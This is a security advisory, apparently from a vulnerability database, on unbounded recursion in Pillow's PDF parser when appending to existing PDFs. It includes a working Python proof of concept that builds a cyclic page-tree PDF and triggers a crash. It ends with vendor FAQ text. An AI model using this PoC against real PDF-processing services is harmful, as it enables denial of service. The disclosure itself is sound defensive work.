Summary
Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
Details
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720(theprocessed_offsetscheck at:714-718is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2026-112895? CVE-2026-112895 is a high-severity security vulnerability in pillow (pip), affecting versions >= 5.1.0, < 13.0.0. It is fixed in 13.0.0.
- Which versions of pillow are affected by CVE-2026-112895? pillow (pip) versions >= 5.1.0, < 13.0.0 is affected.
- Is there a fix for CVE-2026-112895? Yes. CVE-2026-112895 is fixed in 13.0.0. Upgrade to this version or later.
- Is CVE-2026-112895 exploitable, and should I be worried? Whether CVE-2026-112895 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-112895 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-112895? Upgrade
pillowto 13.0.0 or later.